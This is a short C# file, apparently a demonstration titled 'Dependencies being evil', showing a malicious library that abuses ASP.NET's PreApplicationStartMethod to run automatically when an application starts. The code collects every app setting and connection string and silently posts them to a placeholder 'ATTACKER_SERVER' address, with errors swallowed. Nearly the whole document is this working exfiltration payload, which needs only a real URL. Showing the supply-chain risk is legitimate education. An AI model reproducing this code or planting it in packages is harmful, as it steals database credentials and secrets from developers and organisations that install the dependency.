Dependencies being evil: 1 - Hijacking appsettings and connectionstrings.

HijackingAppSettingsAndConnectionStrings.cs

using System;
using System.Configuration;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Web;
using SecurityTrap.DoNotUse;

[assembly: PreApplicationStartMethod(typeof(EvilCode), "RogueAction")]

namespace SecurityTrap.DoNotUse
{
    public static class EvilCode
    {
        public static void RogueAction()
        {
            try
            {
                var sensitiveData = new StringBuilder();

                foreach (var key in ConfigurationManager.AppSettings.AllKeys)
                    sensitiveData.AppendLine($"{key}:{ConfigurationManager.AppSettings[key]}");

                for (int i = 0; i < ConfigurationManager.ConnectionStrings.Count; i++)
                    sensitiveData.AppendLine(
                        $"{ConfigurationManager.ConnectionStrings[i].Name}:{ConfigurationManager.ConnectionStrings[i].ConnectionString}");

                Task.WaitAll(MakeRequest(sensitiveData.ToString()));
            }
            catch
            {
            }
        }

        private static async Task<HttpResponseMessage> MakeRequest(string value)
        {
            var httpClient = new HttpClient();
            var content = new StringContent(value);
            return await httpClient.PostAsync(new Uri("ATTACKER_SERVER"), content);
        }
    }
}